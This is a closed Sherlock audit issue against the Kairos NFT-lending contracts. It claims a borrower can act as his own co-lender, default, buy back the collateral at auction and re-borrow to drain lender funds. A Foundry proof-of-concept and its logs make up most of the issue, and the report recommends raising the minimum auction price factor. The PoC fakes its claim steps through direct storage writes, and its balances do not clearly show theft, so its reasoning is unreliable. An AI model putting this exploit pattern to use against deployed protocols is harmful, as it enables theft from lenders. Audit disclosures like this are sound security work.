sherlock-audit / 2023-02-kairos-judging

2 stars 0 forks source link

evo - A Borrower (attacker) can steal money from lenders #135

Closed sherlock-admin closed 1 year ago

sherlock-admin commented 1 year ago

evo

high

A Borrower (attacker) can steal money from lenders

Summary

Kairos protocol is offering a system that gives a chance for borrowers to borrow money (ERC20 Tokens) against their NFTs in a freedom way for everyone to compete but still cares to protect its Lenders and Borrowers during the protocol process. in our case a Borrower can act as a Lender and try to steal money from other lenders by smarting out the protocol.

Vulnerability Detail

In simplest way I would go with this scenario: Bob (has 6 Ether) is a Borrower and Alex (has 6 Ether) is a Lender.

  1. Alex sign an offer with 2 Ether for NFT token #5
  2. Bob has the collateral NFT (token #5)
  3. Bob will create an offer with 2 Ether for the same collateral to act as Lender.
  4. Bob takes a loan (2 Ether) using Alex's offer and his offer.
  5. The loan is 1 ether from Alex and 1 ether from himself.
  6. Bob will not repay his loan and will buy his NFT from the auction.
  7. Bob now paid 5 Ether for the NFT according to the price factor 2.5
  8. 50% of the profit goes back to Bob (his share).
  9. Bob now has 4.5 Ether.
  10. Since Bob has the NFT he can go and apply Alex's offer again and borrow 2 Ether as well.
  11. Bob now has 6.5 Ether in total and was able to steal 0.5 Ether from Alex.
  12. Alex balance now is 5.5 Ether

Impact

a Borrower can steal money from lenders without any special conditions.

Code Snippet

Add foundry code under \test\Borrow directory and run test command

forge test --match-path 'test/Borrow/LenderAttackerIssue.t.sol' -vv

Foundry Code

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.18;

import {BadCollateral, RequestedAmountIsUnderMinimum} from "../../src/DataStructure/Errors.sol";
import {BuyArg, BorrowArg, NFToken, Offer, OfferArg} from "../../src/DataStructure/Objects.sol";
import {External} from "../Commons/External.sol";
import {Loan, Provision, Payment, Auction} from "../../src/DataStructure/Storage.sol";
import {Ray} from "../../src/DataStructure/Objects.sol";
import {RayMath} from "../../src/utils/RayMath.sol";
import {NFT} from "../../src/mock/NFT.sol";
import {ONE} from "../../src/DataStructure/Global.sol";
import {Money} from "../../src/mock/Money.sol";
import "forge-std/Test.sol";

contract TestBorrow is External {
    using RayMath for Ray;
    using RayMath for uint256;

    NFT nft_collateral;

    address Alex; //Lender
    uint256 loanToValue_1 = 2 ether;
    uint256 lent_1 = 1 ether;
    uint256 internal constant Alex_KEY = 0xDAE;

    address Bob; //Lender
    uint256 loanToValue_2 = 2 ether;
    uint256 lent_2 = 1 ether;
    uint256 internal constant Bob_KEY = 0xB0B;
    function testBobGainMoreMoney() public{
        nft_collateral = new NFT("Test NFT", "TNFT");

        uint256 nbOfLoans = 1;
        BorrowArg[] memory borrowArgs = new BorrowArg[](nbOfLoans);
        Alex = vm.addr(Alex_KEY);
        Bob = vm.addr(Bob_KEY);
        getFlooz(Alex, money, 6 ether);
        getFlooz(Bob, money, 6 ether);

        //print addresess
        console.log("Alex: ",Alex);
        console.log("Bob: ",Bob);
        console.log("Kairos: ",address(kairos));
        console.log("-------Initial balances--------");
        console.log("balanceOf(Bob) ", money.balanceOf(Bob));
        console.log("balanceOf(Alex) ", money.balanceOf(Alex));

        uint256 NFT_TokenId = getJpeg(Bob,nft_collateral);

        OfferArg[] memory offerArgs = new OfferArg[](2);
        //Alex offer
         Offer memory offerAlex = applyOffer(NFT_TokenId, loanToValue_1,2 weeks);
         offerArgs[0] = OfferArg({
                signature: getSignatureFromKey(offerAlex, Alex_KEY),
                amount: lent_1,
                offer: offerAlex
            });

        //Bob Offer
        Offer memory offerBob = applyOffer(NFT_TokenId, loanToValue_2,2 weeks);
        offerArgs[1] = OfferArg({
                signature: getSignatureFromKey(offerAlex, Bob_KEY),
                amount: lent_2,
                offer: offerBob
            });

        nbOfLoans = 1;
        borrowArgs = new BorrowArg[](nbOfLoans);
        borrowArgs[0] = BorrowArg({nft: NFToken({id: NFT_TokenId, implem: nft_collateral}), args: offerArgs});

        vm.startPrank(Bob);
        kairos.borrow(borrowArgs);
        vm.stopPrank();

        console.log("-------balances after first loan--------");
        console.log("balanceOf(Bob) ", money.balanceOf(Bob));
        console.log("balanceOf(Alex) ", money.balanceOf(Alex));

        BuyArg[] memory args = new BuyArg[](1);
        //set loan duration 0 //setupLoan(nftId, duration)
        //or you can set it to a specific time then skip this time by skip(timeInSeconds)
        //so Bob would wait till the loan end then buy the NFT immediately on acution start time
        args[0] = setupLoan(NFT_TokenId, 0)[0]; 
        args[0].to = Bob; // the buyer

        //skip(3600 * 3);
        uint256 price = kairos.price(1);
        //console.log("price: ",price);

        //Bob is a lender buying the NFt on auction
        vm.startPrank(Bob);
        kairos.buy(args);
        vm.stopPrank();

        console.log("-------balances after Bob buys his NFT from Auction--------");
        console.log("-------Price factor is 2.5 as minmum in the protocol-------");
        console.log("balanceOf(Bob) ", money.balanceOf(Bob));
        console.log("balanceOf(Alex) ", money.balanceOf(Alex));

        //Alex claim his share
        Loan memory loan = getLoanCustom(2 ether, Alex, money, 0);
        loan.payment.paid = 5 ether;
        loan.payment.liquidated = true;
        store(loan, 2);
        Provision memory provision = Provision({amount: 2 ether, share: ONE.div(2), loanId: 2});
        mintPosition(Alex, provision);
        getFlooz(address(kairos), money);
        //set supply postion
        uint256[] memory postionArray = new uint256[](1);
        postionArray[0] = 1;
        vm.startPrank(Alex);
        kairos.claim(postionArray);
        vm.stopPrank();

        //Bob claim his share
        loan = getLoanCustom(2 ether, Bob, money, 0);
        loan.payment.paid = 5 ether;
        loan.payment.liquidated = true;
        store(loan, 3);
        provision = Provision({amount: 2 ether, share: ONE.div(2), loanId: 3});
        mintPosition(Bob, provision);
        getFlooz(address(kairos), money);
        //set supply postion
        postionArray = new uint256[](1);
        postionArray[0] = 2;
        vm.startPrank(Bob);
        kairos.claim(postionArray);
        vm.stopPrank();

        console.log("-------balances after Bob claim his share loan--------");
        console.log("balanceOf(Bob) ", money.balanceOf(Bob));
        console.log("balanceOf(Alex) ", money.balanceOf(Alex));

        //Bob will apply Alex offer 
        offerArgs = new OfferArg[](1);
        offerAlex = applyOffer(NFT_TokenId, loanToValue_1,2 weeks); //Alex offer
        offerArgs[0] = OfferArg({
                signature: getSignatureFromKey(offerAlex, Alex_KEY),
                amount: (lent_1 + lent_2),
                offer: offerAlex
            });
        borrowArgs[0] = BorrowArg({nft: NFToken({id: NFT_TokenId, implem: nft_collateral}), args: offerArgs});

        vm.startPrank(Bob);
        nft_collateral.approve(address(kairos), NFT_TokenId);
        kairos.borrow(borrowArgs);
        vm.stopPrank();

        console.log("------Final balances after Bob takes a full loan from Alex----------");
        console.log("balanceOf(Alex) ", money.balanceOf(Alex));
        console.log("balanceOf(Bob) ", money.balanceOf(Bob));
    }

    function applyOffer (uint256 tokenId, uint256 loanToValue,uint256 _duration) private returns(Offer memory) {
        Offer memory offer = getOfferCustom(nft_collateral,loanToValue,_duration);
        offer.collateral = getNftCustom(nft_collateral,tokenId );
        // console.log("expirationDate: ", offer.expirationDate);
        return offer;
    }

    function setupLoan(uint256 tokenId,uint256 _duration) private returns (BuyArg[] memory) {
        Loan memory loan = getLoanCustom((lent_1+lent_2) , Bob, money, _duration);
        loan.collateral = getNftCustom(nft_collateral,tokenId );
        return storeAndGetArgs(loan, tokenId);
    }

    function getLoanCustom(uint256 _lent, address _borrower, 
        Money _assetToLend, uint256 _duration) internal view returns (Loan memory) {
        Payment memory payment;
        NFToken memory nftToken;
        return
            Loan({
                assetLent: _assetToLend,
                lent: _lent,
                shareLent: ONE,
                startDate: block.timestamp ,
                endDate: block.timestamp + _duration,
                //Price factor is 2.5 as minimum
                auction: getAuctionPriceFactor(),
                interestPerSecond: getTranche(0),
                borrower: _borrower,
                collateral: nftToken,
                supplyPositionIndex: 1,
                payment: payment,
                nbOfPositions: 1
            });
    }

    function getOfferCustom(NFT _nft,uint256 _loanToValue,uint256 _duration) internal view returns (Offer memory) {
        NFToken memory nftToken;
        return
            Offer({
                assetToLend: money,
                loanToValue: _loanToValue,
                duration: _duration,
                expirationDate: block.timestamp + 3 hours,
                tranche: 0,
                collateral: nftToken
            });
    }

    function getNftCustom(NFT _nft,uint256 _id) internal view returns (NFToken memory ret) {
        ret = NFToken({implem: _nft, id: _id});
    }

    function getAuctionPriceFactor() internal pure returns (Auction memory) {
        return Auction({duration: 3 days, priceFactor: ONE.mul(5).div(2)});
    }

}

Output

[PASS] testBobGainMoreMoney() (gas: 3603910)
Logs:
  Alex:  0x6E886A9d4B6d79fD735f0c3FB18fD6250abE019E
  Bob:  0x0376AAc07Ad725E01357B1725B5ceC61aE10473c
  Kairos:  0x3D7Ebc40AF7092E3F1C81F2e996cbA5Cae2090d7
  -------Initial balances--------
  balanceOf(Bob)  6000000000000000000
  balanceOf(Alex)  6000000000000000000
  -------balances after first loan--------
  balanceOf(Bob)  7000000000000000000
  balanceOf(Alex)  5000000000000000000
  -------balances after Bob buys his NFT from Auction--------
  -------Price factor is 2.5 as minmum in the protocol-------
  balanceOf(Bob)  2000000000000000000
  balanceOf(Alex)  5000000000000000000
  -------balances after Bob claim his share loan--------
  balanceOf(Bob)  4500000000000000000
  balanceOf(Alex)  7500000000000000000
  ------Final balances after Bob takes a full loan from Alex----------
  balanceOf(Alex)  5500000000000000000
  balanceOf(Bob)  6500000000000000000


Tool used

Manual Review + VS

Recommendation

https://github.com/kairos-loan/kairos-contracts/blob/b2fd98d62cf0f25ee1db2bd551cd7b4606a5a988/src/AdminFacet.sol#L38-L43 Don't allow the auction price factor to be set less than 3 instead of 2.5

require(newAuctionPriceFactor.gte(ONE.mul(3)), "");